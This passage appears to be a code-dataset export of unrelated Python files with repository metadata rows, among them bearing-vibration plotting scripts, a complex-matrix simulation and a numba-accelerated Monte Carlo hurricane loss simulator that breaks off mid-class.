ax.plot(df1.b4_ch7, label="Bearing 4 C-X")
ax.plot(df1.b4_ch8, label="Bearing 4 C-Y")
ax.set_xlabel("Days")
ax.legend()
ax.set_ylabel("Shape factor of the vibration")
ax.xaxis.set_major_formatter(myFmt)
ax.grid()
ax.set_title("Shape factor")
fig.savefig(dataset_name + ".pgf")
plt.close(fig)
def plot_rolling_average_stats(df, dataset_name, period):
cols = df.columns.to_list()[:-1]
df = df.abs()
df1 = df.groupby(["timestamp"]).mean().reset_index()
df1.index = pd.to_datetime(df1.timestamp, unit="s")
df1 = df1.rolling(window=period).mean()
with plt.style.context("seaborn-paper"):
myFmt = mdates.DateFormatter("%d/%m")
fig, ax = plt.subplots()
if len(cols) < 6:
ax.plot(df1.b1_ch1, label="Bearing 1")
ax.plot(df1.b2_ch2, label="Bearing 2")
ax.plot(df1.b3_ch3, label="Bearing 3")
ax.plot(df1.b4_ch4, label="Bearing 4")
else:
ax.plot(df1.b1_ch1, label="Bearing 1 C-X")
ax.plot(df1.b1_ch2, label="Bearing 1 C-Y ")
ax.plot(df1.b2_ch3, label="Bearing 2 C-X")
ax.plot(df1.b2_ch4, label="Bearing 2 C-Y")
ax.plot(df1.b3_ch5, label="Bearing 3 C-X")
ax.plot(df1.b3_ch6, label="Bearing 3 C-Y")
ax.plot(df1.b4_ch7, label="Bearing 4 C-X")
ax.plot(df1.b4_ch8, label="Bearing 4 C-Y")
ax.set_xlabel("Days")
ax.legend()
ax.xaxis.set_major_formatter(myFmt)
ax.grid()
ax.set_title(
f"Rolling average(period = {period}) of the bearing vibration snapshots"
)
fig.savefig(dataset_name + ".pgf")
plt.close(fig)
def plot_rms_general_stats(df, dataset_name):
cols = df.columns.to_list()[:-1]
df1 = df.groupby(["timestamp"])[cols].apply(get_rms).reset_index()
df1.index = pd.to_datetime(df1.timestamp, unit="s")
with plt.style.context("seaborn-paper"):
myFmt = mdates.DateFormatter("%d/%m")
fig, ax = plt.subplots()
if len(cols) < 6:
ax.plot(df1.b1_ch1, label="Bearing 1")
ax.plot(df1.b2_ch2, label="Bearing 2")
ax.plot(df1.b3_ch3, label="Bearing 3")
ax.plot(df1.b4_ch4, label="Bearing 4")
else:
ax.plot(df1.b1_ch1, label="Bearing 1 C-X")
ax.plot(df1.b1_ch2, label="Bearing 1 C-Y ")
ax.plot(df1.b2_ch3, label="Bearing 2 C-X")
ax.plot(df1.b2_ch4, label="Bearing 2 C-Y")
ax.plot(df1.b3_ch5, label="Bearing 3 C-X")
ax.plot(df1.b3_ch6, label="Bearing 3 C-Y")
ax.plot(df1.b4_ch7, label="Bearing 4 C-X")
ax.plot(df1.b4_ch8, label="Bearing 4 C-Y")
ax.set_xlabel("Days")
ax.legend()
ax.xaxis.set_major_formatter(myFmt)
ax.grid()
ax.set_ylabel("RMS of vibration")
ax.set_title("RMS of the bearing vibration snapshots")
fig.savefig(dataset_name + ".pgf")
plt.close(fig)
# save_fig(fig,"{}.png".format(dataset_name),figsize = (12,6),dpi = 300)
def plot_mean_abs_general_stats(df, dataset_name):
cols = df.columns.to_list()[:-1]
df = df.abs()
df1 = df.groupby(["timestamp"]).mean().reset_index()
df1.index = pd.to_datetime(df1.timestamp, unit="s")
with plt.style.context("seaborn-paper"):
myFmt = mdates.DateFormatter("%d/%m")
fig, ax = plt.subplots()
if len(cols) < 6:
ax.plot(df1.b1_ch1, label="Bearing 1")
ax.plot(df1.b2_ch2, label="Bearing 2")
ax.plot(df1.b3_ch3, label="Bearing 3")
ax.plot(df1.b4_ch4, label="Bearing 4")
else:
ax.plot(df1.b1_ch1, label="Bearing 1 C-X")
ax.plot(df1.b1_ch2, label="Bearing 1 C-Y ")
ax.plot(df1.b2_ch3, label="Bearing 2 C-X")
ax.plot(df1.b2_ch4, label="Bearing 2 C-Y")
ax.plot(df1.b3_ch5, label="Bearing 3 C-X")
ax.plot(df1.b3_ch6, label="Bearing 3 C-Y")
ax.plot(df1.b4_ch7, label="Bearing 4 C-X")
ax.plot(df1.b4_ch8, label="Bearing 4 C-Y")
ax.set_xlabel("Days")
ax.legend()
ax.xaxis.set_major_formatter(myFmt)
ax.grid()
ax.set_ylabel("Absolute mean of vibration")
ax.set_title("Absolute mean of the bearing vibration snapshots")
# save_fig(fig,"{}.png".format(dataset_name),figsize = (12,6),dpi = 300)
fig.savefig(dataset_name + ".pgf")
plt.close(fig)
def scatter_mean_abs_general_stats(df, dataset_name):
# cols = df.columns.to_list()[:-1]
df = df.abs()
df1 = df.groupby(["timestamp"]).mean().reset_index()
df1.index = pd.to_datetime(df1.timestamp, unit="s")
with plt.style.context("seaborn-paper"):
myFmt = mdates.DateFormatter("%d/%m")
fig, ax = plt.subplots()
x = df1.index
ax.scatter(x, df1.b1_ch1, label="Bearing 1 C-X", alpha=0.7, marker="x")
ax.scatter(x, df1.b1_ch2, label="Bearing 1 C-Y ", alpha=0.7, marker="^")
ax.scatter(x, df1.b2_ch3, label="Bearing 2 C-X", alpha=0.7, marker="x")
ax.scatter(x, df1.b2_ch4, label="Bearing 2 C-Y", alpha=0.7, marker="^")
ax.scatter(x, df1.b3_ch5, label="Bearing 3 C-X", alpha=0.7, marker="x")
ax.scatter(x, df1.b3_ch6, label="Bearing 3 C-Y", alpha=0.7, marker="^")
ax.scatter(x, df1.b4_ch7, label="Bearing 4 C-X", alpha=0.7, marker="x")
ax.scatter(x, df1.b4_ch8, label="Bearing 4 C-Y", alpha=0.7, marker="^")
ax.set_xlabel("Days")
ax.legend()
ax.xaxis.set_major_formatter(myFmt)
ax.grid()
ax.set_title("Scatter plot of absolute mean of the bearing vibration snapshots")
fig.savefig(dataset_name + ".pdf")
plt.close(fig)
def load_data():
global df1, df2, df3
df1 = pd.read_pickle("../data/1st_test_full.pkl") # first dataset
df2 = pd.read_pickle("../data/2nd_test_full.pkl") # second one
df3 = pd.read_pickle("../data/3th_test_full.pkl") # third one
def df1_rep():
for index, i in enumerate([df1]):
index = index + 1
plot_rms_general_stats(i, str(pgf_imgs / f"rms_dataset{index}"))
plot_mean_abs_general_stats(i, str(pgf_imgs / f"mean_abs_dataset{index}"))
scatter_mean_abs_general_stats(
i, str(pgf_imgs / f"scatter_mean_abs_dataset{index}")
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_10_dataset{index}"), 10
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_20_dataset{index}"), 20
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_50_dataset{index}"), 50
)
plot_shapefactor_stats(i, str(pgf_imgs / f"shapefactor_dataset{index}"))
plot_kurtosis_stats(i, str(pgf_imgs / f"kurtosis_dataset{index}"))
plot_skew_stats(i, str(pgf_imgs / f"skew_dataset{index}"))
def df2_rep():
for index, i in enumerate([df2]):
index = index + 2
plot_rms_general_stats(i, str(pgf_imgs / f"rms_dataset{index}"))
plot_mean_abs_general_stats(i, str(pgf_imgs / f"mean_abs_dataset{index}"))
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_10_dataset{index}"), 10
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_20_dataset{index}"), 20
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_50_dataset{index}"), 50
)
plot_shapefactor_stats(i, str(pgf_imgs / f"shapefactor_dataset{index}"))
plot_kurtosis_stats(i, str(pgf_imgs / f"kurtosis_dataset{index}"))
plot_skew_stats(i, str(pgf_imgs / f"skew_dataset{index}"))
def df3_rep():
for index, i in enumerate([df3]):
index = index + 3
plot_rms_general_stats(i, str(pgf_imgs / f"rms_dataset{index}"))
plot_mean_abs_general_stats(i, str(pgf_imgs / f"mean_abs_dataset{index}"))
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_10_dataset{index}"), 10
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_20_dataset{index}"), 20
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_50_dataset{index}"), 50
)
plot_shapefactor_stats(i, str(pgf_imgs / f"shapefactor_dataset{index}"))
plot_kurtosis_stats(i, str(pgf_imgs / f"kurtosis_dataset{index}"))
plot_skew_stats(i, str(pgf_imgs / f"skew_dataset{index}"))
def full_pipe():
for index, i in enumerate([df1, df2, df3]):
index = index + 1
plot_rms_general_stats(i, str(pgf_imgs / f"rms_dataset{index}"))
plot_mean_abs_general_stats(i, str(pgf_imgs / f"mean_abs_dataset{index}"))
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_10_dataset{index}"), 10
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_20_dataset{index}"), 20
)
plot_rolling_average_stats(
i, str(pgf_imgs / f"rolling_ave_period_50_dataset{index}"), 50
)
plot_shapefactor_stats(i, str(pgf_imgs / f"shapefactor_dataset{index}"))
plot_kurtosis_stats(i, str(pgf_imgs / f"kurtosis_dataset{index}"))
plot_skew_stats(i, str(pgf_imgs / f"skew_dataset{index}"))
if len(sys.argv) <= 1:
print("OPTIONS:\n full_pipe \n df1 \n df2 \n df3 ")
elif sys.argv[1] == "full_pipe":
load_data()
full_pipe()
elif sys.argv[1] == "df1":
load_data()
df1_rep()
elif sys.argv[1] == "df2":
load_data()
df2_rep()
elif sys.argv[1] == "df3":
load_data()
df3_rep()
elif sys.argv[1] == "test":
print("lol")
else:
print("\n Full pipeline")
load_data()
full_pipe()
| 38.789203 | 88 | 0.607595 | 2,285 | 15,089 | 3.83151 | 0.098031 | 0.109652 | 0.074015 | 0.045231 | 0.83301 | 0.819874 | 0.809023 | 0.801371 | 0.780583 | 0.766876 | 0 | 0.04163 | 0.24382 | 15,089 | 388 | 89 | 38.889175 | 0.725679 | 0.057658 | 0 | 0.689759 | 0 | 0 | 0.193096 | 0.05819 | 0 | 0 | 0 | 0 | 0 | 1 | 0.048193 | false | 0 | 0.021084 | 0.009036 | 0.081325 | 0.009036 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
27d4bf62c6bdb148d824aa4015902b8caab7000f | 31 | py | Python | transforms/__init__.py | lonestar686/pytorch-saltnet | aa75581567ccd5643b854cfb4d54c8881ed2a0d6 | [
"MIT"
] | 289 | 2018-10-20T01:05:41.000Z | 2022-02-18T10:48:08.000Z | transforms/__init__.py | lonestar686/pytorch-saltnet | aa75581567ccd5643b854cfb4d54c8881ed2a0d6 | [
"MIT"
] | 6 | 2018-11-05T06:04:31.000Z | 2022-03-06T04:46:52.000Z | transforms/__init__.py | lonestar686/pytorch-saltnet | aa75581567ccd5643b854cfb4d54c8881ed2a0d6 | [
"MIT"
] | 57 | 2018-10-20T01:05:29.000Z | 2021-12-13T09:56:48.000Z | from .unet_transforms import *
| 15.5 | 30 | 0.806452 | 4 | 31 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
27e49bcda645404e6ce9946ad742591623f49be3 | 65 | py | Python | routes/draft.py | mayankagg9722/Movie-Recommendation | e7d45e0706ae568a0aa76eab190fd53bd3b424fe | [
"CNRI-Python"
] | 1 | 2018-01-26T11:27:14.000Z | 2018-01-26T11:27:14.000Z | routes/draft.py | mayankagg9722/Movie-Recommendation | e7d45e0706ae568a0aa76eab190fd53bd3b424fe | [
"CNRI-Python"
] | null | null | null | routes/draft.py | mayankagg9722/Movie-Recommendation | e7d45e0706ae568a0aa76eab190fd53bd3b424fe | [
"CNRI-Python"
] | null | null | null | import sys
sys.argv[1] =sys.argv[1]+"hdjwef";
print(sys.argv[1]) | 16.25 | 34 | 0.676923 | 13 | 65 | 3.384615 | 0.461538 | 0.477273 | 0.545455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05 | 0.076923 | 65 | 4 | 35 | 16.25 | 0.683333 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
fda07cb0b69fc2d301fa1d2ae2e97528d2bd677a | 34 | py | Python | tests/desugar/funcall/input/test01.py | Nakrez/RePy | 057db55a99eac2c5cb3d622fa1f2e29f6083d8d6 | [
"MIT"
] | 1 | 2020-11-24T05:24:26.000Z | 2020-11-24T05:24:26.000Z | tests/desugar/funcall/input/test01.py | Nakrez/RePy | 057db55a99eac2c5cb3d622fa1f2e29f6083d8d6 | [
"MIT"
] | null | null | null | tests/desugar/funcall/input/test01.py | Nakrez/RePy | 057db55a99eac2c5cb3d622fa1f2e29f6083d8d6 | [
"MIT"
] | null | null | null | def fun(d=1):
return 1
fun()
| 6.8 | 13 | 0.529412 | 7 | 34 | 2.571429 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 0.294118 | 34 | 4 | 14 | 8.5 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 0.666667 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
fda971a7262adf59e2a26c37e3a41eef64ef568b | 860 | py | Python | simulacion.py | DavidAndresHerrera/CNYT-2020-3 | fa00fbc7a1895074ed53d68df8aaff39ba3fe767 | [
"Unlicense"
] | null | null | null | simulacion.py | DavidAndresHerrera/CNYT-2020-3 | fa00fbc7a1895074ed53d68df8aaff39ba3fe767 | [
"Unlicense"
] | null | null | null | simulacion.py | DavidAndresHerrera/CNYT-2020-3 | fa00fbc7a1895074ed53d68df8aaff39ba3fe767 | [
"Unlicense"
] | null | null | null | import calculadoraComplejos as calculadora
l = [[(0,0),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0)],
[(1/(2**0.5),0),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0)],
[(1/(2**0.5),0),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0)],
[(0,0),((-1/(6**0.5)),(1/(6**0.5))),(0,0),(1,0),(0,0),(0,0),(0,0),(0,0)],
[(0,0),((-1/(6**0.5)),(-1/(6**0.5))),(0,0),(0,0),(1,0),(0,0),(0,0),(0,0)],
[(0,0),((1/(6**0.5),-1/(6**0.5))),((-1/(6**0.5),1/(6**0.5))),(0,0),(0,0),(1,0),(0,0),(0,0)],
[(0,0),(0,0),(-1/(6**0.5),-1/(6**0.5)),(0,0),(0,0),(0,0),(1,0),(0,0)],
[(0,0),(0,0),(1/(6**0.5),-1/(6**0.5)),(0,0),(0,0),(0,0),(1,0),(0,0)]]
e = [[(1,0)],[(0,0)],[(0,0)],[(0,0)],[(0,0)],[(0,0)]]
n = 2
def main():
simulacion(l,e,n)
def simulacion(l,e,n):
for i in range(n):
total = calculadora.multi_matrices(l,e)
print(total)
main()
| 30.714286 | 98 | 0.37093 | 215 | 860 | 1.47907 | 0.106977 | 0.666667 | 0.867925 | 0.993711 | 0.572327 | 0.572327 | 0.572327 | 0.572327 | 0.572327 | 0.572327 | 0 | 0.240789 | 0.116279 | 860 | 27 | 99 | 31.851852 | 0.177632 | 0 | 0 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.055556 | 0 | 0.166667 | 0.055556 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fdb49b2df09f4f11520273b9b9c4e6b1d7f8944e | 47 | py | Python | arbitrium/__init__.py | Bentechy66/arbitrium | a0a9fc465c0f62c69b0c06666f34480015cf437d | [
"MIT"
] | 1 | 2018-10-22T07:14:01.000Z | 2018-10-22T07:14:01.000Z | arbitrium/__init__.py | Bentechy66/arbitrium | a0a9fc465c0f62c69b0c06666f34480015cf437d | [
"MIT"
] | 3 | 2018-10-20T18:09:50.000Z | 2018-10-31T10:46:43.000Z | arbitrium/__init__.py | Bentechy66/arbitrium | a0a9fc465c0f62c69b0c06666f34480015cf437d | [
"MIT"
] | 1 | 2018-10-21T19:12:54.000Z | 2018-10-21T19:12:54.000Z | from arbitrium.menu import menu, requires_auth
| 23.5 | 46 | 0.851064 | 7 | 47 | 5.571429 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 47 | 1 | 47 | 47 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fdd5c51faffb2a021a13722338f0b320f2562dd3 | 39 | py | Python | deeppavlov/utils/ms_bot_framework/__init__.py | xbodx/DeepPavlov | 4b60bf162df4294b8b0db3b72786cdd699c674fa | [
"Apache-2.0"
] | 5,893 | 2018-02-01T18:13:20.000Z | 2022-03-31T19:22:21.000Z | deeppavlov/utils/ms_bot_framework/__init__.py | xbodx/DeepPavlov | 4b60bf162df4294b8b0db3b72786cdd699c674fa | [
"Apache-2.0"
] | 749 | 2018-01-31T11:36:02.000Z | 2022-03-30T07:24:22.000Z | deeppavlov/utils/ms_bot_framework/__init__.py | xbodx/DeepPavlov | 4b60bf162df4294b8b0db3b72786cdd699c674fa | [
"Apache-2.0"
] | 1,155 | 2018-02-01T10:52:15.000Z | 2022-03-29T02:12:15.000Z | from .server import start_ms_bf_server
| 19.5 | 38 | 0.871795 | 7 | 39 | 4.428571 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 39 | 1 | 39 | 39 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fded56977ed64fdc525ba6913cad7d5f2ba35d99 | 13,934 | py | Python | oasishurricane/simulator.py | mtazzari/OasisHurricane | e8f437bc894daf697dcf8981c81ee25bfb5900f9 | [
"BSD-3-Clause"
] | 1 | 2021-11-05T12:20:47.000Z | 2021-11-05T12:20:47.000Z | oasishurricane/simulator.py | mtazzari/OasisHurricane | e8f437bc894daf697dcf8981c81ee25bfb5900f9 | [
"BSD-3-Clause"
] | null | null | null | oasishurricane/simulator.py | mtazzari/OasisHurricane | e8f437bc894daf697dcf8981c81ee25bfb5900f9 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# coding=utf-8
import os
import logging
import time
import datetime
import numpy as np
from numba import jit, njit, prange
logging.getLogger('numba').setLevel(logging.WARNING)
logger = logging.getLogger("model")
from .utils import timer
def get_rng(seed=None):
"""
Get a new random number generator.s
:param seed:
:return:
"""
return np.random.default_rng(seed)
@timer(cycles=int(os.getenv("TIMEIT_CYCLES", 100)))
def mean_loss_py(florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev, num_monte_carlo_samples):
"""
Compute mean economic loss in Pure Python.
:param florida_landfall_rate: [float] annual rate of landfalling hurricanes in Florida.
:param florida_mean: [float] mean of the economic loss of landfalling hurricane in Florida.
:param florida_stddev: [float] std deviation of the economic loss of landfalling hurricane in Florida.
:param gulf_landfall_rate: [float] annual rate of landfalling hurricanes in Gulf states.
:param gulf_mean: [float] mean of the economic loss of landfalling hurricane in Gulf states.
:param gulf_stddev: [float] std deviation of the economic loss of landfalling hurricane in Gulf states.
:param num_monte_carlo_samples: [int] Number of monte carlo samples, i.e. years.
:return: [float] Mean annual losses.
"""
tot_loss = 0
for i in range(num_monte_carlo_samples):
fl_events = np.random.poisson(lam=florida_landfall_rate, size=1)[0]
fl_loss = 0
for j in range(fl_events):
fl_loss += np.random.lognormal(florida_mean, florida_stddev)
gulf_events = np.random.poisson(lam=gulf_landfall_rate, size=1)[0]
gulf_loss = 0
for k in range(gulf_events):
gulf_loss += np.random.lognormal(gulf_mean, gulf_stddev)
year_loss = fl_loss + gulf_loss
tot_loss += year_loss
return tot_loss / num_monte_carlo_samples
@timer(cycles=int(os.getenv("TIMEIT_CYCLES", 100)))
@jit(nopython=True)
def mean_loss_jit(florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev, num_monte_carlo_samples):
"""
Compute mean economic loss with explicit loops and jit-compilation with numba.
:param florida_landfall_rate: [float] annual rate of landfalling hurricanes in Florida.
:param florida_mean: [float] mean of the economic loss of landfalling hurricane in Florida.
:param florida_stddev: [float] std deviation of the economic loss of landfalling hurricane in Florida.
:param gulf_landfall_rate: [float] annual rate of landfalling hurricanes in Gulf states.
:param gulf_mean: [float] mean of the economic loss of landfalling hurricane in Gulf states.
:param gulf_stddev: [float] std deviation of the economic loss of landfalling hurricane in Gulf states.
:param num_monte_carlo_samples: [int] Number of monte carlo samples, i.e. years.
:return: [float] Mean annual losses.
"""
fl_events = np.random.poisson(lam=florida_landfall_rate, size=num_monte_carlo_samples)
gulf_events = np.random.poisson(lam=gulf_landfall_rate, size=num_monte_carlo_samples)
tot_loss = 0
for i in range(num_monte_carlo_samples):
fl_loss = 0
for j in range(fl_events[i]):
fl_loss += np.random.lognormal(florida_mean, florida_stddev)
gulf_loss = 0
for k in range(gulf_events[i]):
gulf_loss += np.random.lognormal(gulf_mean, gulf_stddev)
year_loss = fl_loss + gulf_loss
tot_loss += year_loss
return tot_loss / num_monte_carlo_samples
@timer(cycles=int(os.getenv("TIMEIT_CYCLES", 100)))
@njit(parallel=True)
def mean_loss_jit_parallel(florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev, num_monte_carlo_samples):
"""
Compute mean economic loss with explicit loops, jit-compilation, and auto-parallelization with numba.
:param florida_landfall_rate: [float] annual rate of landfalling hurricanes in Florida.
:param florida_mean: [float] mean of the economic loss of landfalling hurricane in Florida.
:param florida_stddev: [float] std deviation of the economic loss of landfalling hurricane in Florida.
:param gulf_landfall_rate: [float] annual rate of landfalling hurricanes in Gulf states.
:param gulf_mean: [float] mean of the economic loss of landfalling hurricane in Gulf states.
:param gulf_stddev: [float] std deviation of the economic loss of landfalling hurricane in Gulf states.
:param num_monte_carlo_samples: [int] Number of monte carlo samples, i.e. years.
:return: [float] Mean annual losses.
"""
fl_events = np.random.poisson(lam=florida_landfall_rate, size=num_monte_carlo_samples)
gulf_events = np.random.poisson(lam=gulf_landfall_rate, size=num_monte_carlo_samples)
tot_loss = 0
for i in prange(num_monte_carlo_samples):
fl_loss = 0
for j in range(fl_events[i]):
fl_loss += np.random.lognormal(florida_mean, florida_stddev)
gulf_loss = 0
for k in range(gulf_events[i]):
gulf_loss += np.random.lognormal(gulf_mean, gulf_stddev)
year_loss = fl_loss + gulf_loss
tot_loss += year_loss
return tot_loss / num_monte_carlo_samples
@timer(cycles=int(os.getenv("TIMEIT_CYCLES", 100)))
@jit(nopython=True)
def mean_loss_noloops_jit(florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev, num_monte_carlo_samples):
"""
Compute mean economic loss with numpy vectorization, no explicit loops, and jit-compilation with numba.
:param florida_landfall_rate: [float] annual rate of landfalling hurricanes in Florida.
:param florida_mean: [float] mean of the economic loss of landfalling hurricane in Florida.
:param florida_stddev: [float] std deviation of the economic loss of landfalling hurricane in Florida.
:param gulf_landfall_rate: [float] annual rate of landfalling hurricanes in Gulf states.
:param gulf_mean: [float] mean of the economic loss of landfalling hurricane in Gulf states.
:param gulf_stddev: [float] std deviation of the economic loss of landfalling hurricane in Gulf states.
:param num_monte_carlo_samples: [int] Number of monte carlo samples, i.e. years.
:return: [float] Mean annual losses.
"""
fl_events = np.random.poisson(lam=florida_landfall_rate, size=num_monte_carlo_samples)
gulf_events = np.random.poisson(lam=gulf_landfall_rate, size=num_monte_carlo_samples)
Nfl_events = np.sum(fl_events)
Ngulf_events = np.sum(gulf_events)
fl_loss = np.random.lognormal(florida_mean, florida_stddev, size=(Nfl_events,))
gulf_loss = np.random.lognormal(gulf_mean, gulf_stddev, size=(Ngulf_events,))
tot_loss = np.sum(fl_loss) + np.sum(gulf_loss)
return tot_loss / num_monte_carlo_samples
@timer(cycles=int(os.getenv("TIMEIT_CYCLES", 100)))
def mean_loss_noloops_py(florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev, num_monte_carlo_samples):
"""
Compute mean economic loss in Pure Python, using numpy vectorization and no explicit loops.
:param florida_landfall_rate: [float] annual rate of landfalling hurricanes in Florida.
:param florida_mean: [float] mean of the economic loss of landfalling hurricane in Florida.
:param florida_stddev: [float] std deviation of the economic loss of landfalling hurricane in Florida.
:param gulf_landfall_rate: [float] annual rate of landfalling hurricanes in Gulf states.
:param gulf_mean: [float] mean of the economic loss of landfalling hurricane in Gulf states.
:param gulf_stddev: [float] std deviation of the economic loss of landfalling hurricane in Gulf states.
:param num_monte_carlo_samples: [int] Number of monte carlo samples, i.e. years.
:return: [float] Mean annual losses.
"""
fl_events = np.random.poisson(lam=florida_landfall_rate, size=num_monte_carlo_samples)
gulf_events = np.random.poisson(lam=gulf_landfall_rate, size=num_monte_carlo_samples)
Nfl_events = np.sum(fl_events)
Ngulf_events = np.sum(gulf_events)
fl_loss = np.random.lognormal(florida_mean, florida_stddev, size=(Nfl_events,))
gulf_loss = np.random.lognormal(gulf_mean, gulf_stddev, size=(Ngulf_events,))
tot_loss = np.sum(fl_loss) + np.sum(gulf_loss)
return tot_loss / num_monte_carlo_samples
@timer(cycles=int(os.getenv("TIMEIT_CYCLES", 100)))
@njit("float64(float64, float64, float64, float64, float64, float64, int64)",
parallel=True, fastmath=True, nogil=True)
def mean_loss_jit_parallel_fastmath(florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev,
num_monte_carlo_samples):
"""
Compute mean economic loss with explicit loops, jit-compilation, and auto-parallelization with numba.
:param florida_landfall_rate: [float] annual rate of landfalling hurricanes in Florida.
:param florida_mean: [float] mean of the economic loss of landfalling hurricane in Florida.
:param florida_stddev: [float] std deviation of the economic loss of landfalling hurricane in Florida.
:param gulf_landfall_rate: [float] annual rate of landfalling hurricanes in Gulf states.
:param gulf_mean: [float] mean of the economic loss of landfalling hurricane in Gulf states.
:param gulf_stddev: [float] std deviation of the economic loss of landfalling hurricane in Gulf states.
:param num_monte_carlo_samples: [int] Number of monte carlo samples, i.e. years.
:return: [float] Mean annual losses.
"""
fl_events = np.random.poisson(lam=florida_landfall_rate, size=num_monte_carlo_samples)
gulf_events = np.random.poisson(lam=gulf_landfall_rate, size=num_monte_carlo_samples)
tot_loss = 0
for i in prange(num_monte_carlo_samples):
fl_loss = 0
for j in range(fl_events[i]):
fl_loss += np.random.lognormal(florida_mean, florida_stddev)
gulf_loss = 0
for k in range(gulf_events[i]):
gulf_loss += np.random.lognormal(gulf_mean, gulf_stddev)
year_loss = fl_loss + gulf_loss
tot_loss += year_loss
return tot_loss / num_monte_carlo_samples
SIMULATORS = {
0: {
'func': mean_loss_py,
'desc': "python"
},
1: {
'func': mean_loss_jit,
'desc': "jit"
},
2: {
'func': mean_loss_jit_parallel,
'desc': "jit-parallel"
},
3: {
'func': mean_loss_noloops_jit,
'desc': "jit-noloops"
},
4: {
'func': mean_loss_noloops_py,
'desc': "python-noloops"
},
5: {
'func': mean_loss_jit_parallel_fastmath,
'desc': "jit-parallel-fastmath"
},
}
class Simulator(object):
def __init__(self, simulator_id):
"""Init the Simulator object by setting the simulator. """
try:
